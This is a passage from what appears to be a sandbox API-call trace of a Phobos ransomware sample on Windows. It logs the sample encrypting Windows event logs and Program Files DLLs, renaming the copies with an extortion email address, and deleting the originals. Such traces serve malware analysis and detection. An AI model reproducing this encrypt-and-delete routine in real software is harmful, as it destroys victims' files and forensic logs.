dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0148.181] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=69632) returned 1 [0148.181] CloseHandle (hObject=0x578) returned 1 [0148.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20 [0148.181] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0x20 [0148.183] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0148.183] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0148.185] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=69632) returned 1 [0148.185] CloseHandle (hObject=0x578) returned 1 [0148.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 0x20 [0148.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.185] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0148.185] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e9fc28 | out: lpNewFilePointer=0x0) returned 1 [0148.185] SetFilePointerEx (in: hFile=0x578, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e9fc28 | out: lpNewFilePointer=0x0) returned 1 [0148.186] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0148.192] CryptImportKey (in: hProv=0x8067b0, pbData=0x3e9fbe0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e9fc3c | out: phKey=0x3e9fc3c*=0x8954b8) returned 1 [0148.192] CryptSetKeyParam (hKey=0x8954b8, dwParam=0x1, pbData=0x3e9fce8, dwFlags=0x0) returned 1 [0148.192] ReadFile (in: hFile=0x578, lpBuffer=0x4263020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x3e9fc64, lpOverlapped=0x0 | out: lpBuffer=0x4263020*, lpNumberOfBytesRead=0x3e9fc64*=0x11000, lpOverlapped=0x0) returned 1 [0148.234] CryptEncrypt (in: hKey=0x8954b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4263020*, pdwDataLen=0x3e9fc00*=0x11010, dwBufLen=0x11010 | out: pbData=0x4263020*, pdwDataLen=0x3e9fc00*=0x11010) returned 1 [0148.236] WriteFile (in: hFile=0x57c, lpBuffer=0x4263020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3e9fc48, lpOverlapped=0x0 | out: lpBuffer=0x4263020*, lpNumberOfBytesWritten=0x3e9fc48*=0x11010, lpOverlapped=0x0) returned 1 [0148.454] CryptImportKey (in: hProv=0x8067b0, pbData=0x3e9fbd4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e9fc40 | out: phKey=0x3e9fc40*=0x895478) returned 1 [0148.454] CryptSetKeyParam (hKey=0x895478, dwParam=0x1, pbData=0x3e9fce8, dwFlags=0x0) returned 1 [0148.454] CryptEncrypt (in: hKey=0x895478, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4263020*, pdwDataLen=0x3e9fc00*=0x80, dwBufLen=0x80 | out: pbData=0x4263020*, pdwDataLen=0x3e9fc00*=0x80) returned 1 [0148.454] CryptDestroyKey (hKey=0x895478) returned 1 [0148.454] WriteFile (in: hFile=0x57c, lpBuffer=0x4263020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x3e9fc48, lpOverlapped=0x0 | out: lpBuffer=0x4263020*, lpNumberOfBytesWritten=0x3e9fc48*=0x132, lpOverlapped=0x0) returned 1 [0148.455] CryptDestroyKey (hKey=0x8954b8) returned 1 [0148.455] CloseHandle (hObject=0x578) returned 1 [0148.455] CloseHandle (hObject=0x57c) returned 1 [0148.457] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 1 [0148.459] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0148.459] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0148.459] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=1118208) returned 1 [0148.459] CloseHandle (hObject=0x57c) returned 1 [0148.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 0x20 [0148.459] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\security.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.460] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0148.460] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e9fc28 | out: lpNewFilePointer=0x0) returned 1 [0148.460] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e9fc28 | out: lpNewFilePointer=0x0) returned 1 [0148.460] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\security.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0148.461] CryptImportKey (in: hProv=0x8067b0, pbData=0x3e9fbe0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e9fc3c | out: phKey=0x3e9fc3c*=0x895078) returned 1 [0148.461] CryptSetKeyParam (hKey=0x895078, dwParam=0x1, pbData=0x3e9fce8, dwFlags=0x0) returned 1 [0148.461] ReadFile (in: hFile=0x57c, lpBuffer=0x4263020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x3e9fc64, lpOverlapped=0x0 | out: lpBuffer=0x4263020*, lpNumberOfBytesRead=0x3e9fc64*=0x110100, lpOverlapped=0x0) returned 1 [0148.512] CryptEncrypt (in: hKey=0x895078, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4263020*, pdwDataLen=0x3e9fc00*=0x110100, dwBufLen=0x110100 | out: pbData=0x4263020*, pdwDataLen=0x3e9fc00*=0x110100) returned 1 [0148.514] WriteFile (in: hFile=0x578, lpBuffer=0x4263020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x3e9fc48, lpOverlapped=0x0 | out: lpBuffer=0x4263020*, lpNumberOfBytesWritten=0x3e9fc48*=0x110100, lpOverlapped=0x0) returned 1 [0148.649] ReadFile (in: hFile=0x57c, lpBuffer=0x4263020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x3e9fc64, lpOverlapped=0x0 | out: lpBuffer=0x4263020*, lpNumberOfBytesRead=0x3e9fc64*=0xf00, lpOverlapped=0x0) returned 1 [0148.649] CryptEncrypt (in: hKey=0x895078, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4263020*, pdwDataLen=0x3e9fc00*=0xf10, dwBufLen=0xf10 | out: pbData=0x4263020*, pdwDataLen=0x3e9fc00*=0xf10) returned 1 [0148.649] WriteFile (in: hFile=0x578, lpBuffer=0x4263020*, nNumberOfBytesToWrite=0xf10, lpNumberOfBytesWritten=0x3e9fc48, lpOverlapped=0x0 | out: lpBuffer=0x4263020*, lpNumberOfBytesWritten=0x3e9fc48*=0xf10, lpOverlapped=0x0) returned 1 [0148.649] CryptImportKey (in: hProv=0x8067b0, pbData=0x3e9fbd4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e9fc40 | out: phKey=0x3e9fc40*=0x895578) returned 1 [0148.649] CryptSetKeyParam (hKey=0x895578, dwParam=0x1, pbData=0x3e9fce8, dwFlags=0x0) returned 1 [0148.649] CryptEncrypt (in: hKey=0x895578, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4263020*, pdwDataLen=0x3e9fc00*=0x40, dwBufLen=0x40 | out: pbData=0x4263020*, pdwDataLen=0x3e9fc00*=0x40) returned 1 [0148.649] CryptDestroyKey (hKey=0x895578) returned 1 [0148.649] WriteFile (in: hFile=0x578, lpBuffer=0x4263020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x3e9fc48, lpOverlapped=0x0 | out: lpBuffer=0x4263020*, lpNumberOfBytesWritten=0x3e9fc48*=0xf2, lpOverlapped=0x0) returned 1 [0148.649] CryptDestroyKey (hKey=0x895078) returned 1 [0148.649] CloseHandle (hObject=0x57c) returned 1 [0148.649] CloseHandle (hObject=0x578) returned 1 [0148.892] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Security.evtx" (normalized: "c:\\logs\\security.evtx")) returned 1 [0148.895] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0148.895] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0148.895] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=69632) returned 1 [0148.895] CloseHandle (hObject=0x574) returned 1 [0148.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20 [0148.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\windows powershell.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.896] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0148.896] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e9fc28 | out: lpNewFilePointer=0x0) returned 1 [0148.896] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e9fc28 | out: lpNewFilePointer=0x0) returned 1 [0148.896] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\windows powershell.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0148.897] CryptImportKey (in: hProv=0x8067b0, pbData=0x3e9fbe0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e9fc3c | out: phKey=0x3e9fc3c*=0x895278) returned 1 [0148.897] CryptSetKeyParam (hKey=0x895278, dwParam=0x1, pbData=0x3e9fce8, dwFlags=0x0) returned 1 [0148.897] ReadFile (in: hFile=0x574, lpBuffer=0x4263020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x3e9fc64, lpOverlapped=0x0 | out: lpBuffer=0x4263020*, lpNumberOfBytesRead=0x3e9fc64*=0x11000, lpOverlapped=0x0) returned 1 [0148.956] CryptEncrypt (in: hKey=0x895278, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4263020*, pdwDataLen=0x3e9fc00*=0x11010, dwBufLen=0x11010 | out: pbData=0x4263020*, pdwDataLen=0x3e9fc00*=0x11010) returned 1 [0148.956] WriteFile (in: hFile=0x528, lpBuffer=0x4263020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x3e9fc48, lpOverlapped=0x0 | out: lpBuffer=0x4263020*, lpNumberOfBytesWritten=0x3e9fc48*=0x11010, lpOverlapped=0x0) returned 1 [0148.958] CryptImportKey (in: hProv=0x8067b0, pbData=0x3e9fbd4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e9fc40 | out: phKey=0x3e9fc40*=0x894f38) returned 1 [0148.959] CryptSetKeyParam (hKey=0x894f38, dwParam=0x1, pbData=0x3e9fce8, dwFlags=0x0) returned 1 [0148.959] CryptEncrypt (in: hKey=0x894f38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4263020*, pdwDataLen=0x3e9fc00*=0x50, dwBufLen=0x50 | out: pbData=0x4263020*, pdwDataLen=0x3e9fc00*=0x50) returned 1 [0148.959] CryptDestroyKey (hKey=0x894f38) returned 1 [0148.959] WriteFile (in: hFile=0x528, lpBuffer=0x4263020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3e9fc48, lpOverlapped=0x0 | out: lpBuffer=0x4263020*, lpNumberOfBytesWritten=0x3e9fc48*=0x102, lpOverlapped=0x0) returned 1 [0148.959] CryptDestroyKey (hKey=0x895278) returned 1 [0148.959] CloseHandle (hObject=0x574) returned 1 [0148.959] CloseHandle (hObject=0x528) returned 1 [0148.966] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 1 [0148.968] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0148.968] CreateFileW (lpFileName="\\\\?\\C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.968] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0148.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0148.969] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=15984) returned 1 [0148.969] CloseHandle (hObject=0x528) returned 1 [0148.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb")) returned 0x20 [0148.969] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\common files\\designer\\msaddndr.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.970] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0148.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0148.970] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=18624) returned 1 [0148.970] CloseHandle (hObject=0x528) returned 1 [0148.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll")) returned 0x20 [0148.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.971] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0148.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0148.972] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=18624) returned 1 [0148.972] CloseHandle (hObject=0x528) returned 1 [0148.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20 [0148.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.973] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0148.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0148.973] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=21184) returned 1 [0148.973] CloseHandle (hObject=0x528) returned 1 [0148.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x20 [0148.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.974] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0148.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0148.974] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19136) returned 1 [0148.974] CloseHandle (hObject=0x528) returned 1 [0148.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x20 [0148.975] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.975] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.975] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0148.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0148.976] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19136) returned 1 [0148.976] CloseHandle (hObject=0x528) returned 1 [0148.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x20 [0148.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.976] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0148.976] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0148.980] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=18624) returned 1 [0148.980] CloseHandle (hObject=0x528) returned 1 [0148.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20 [0148.981] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft 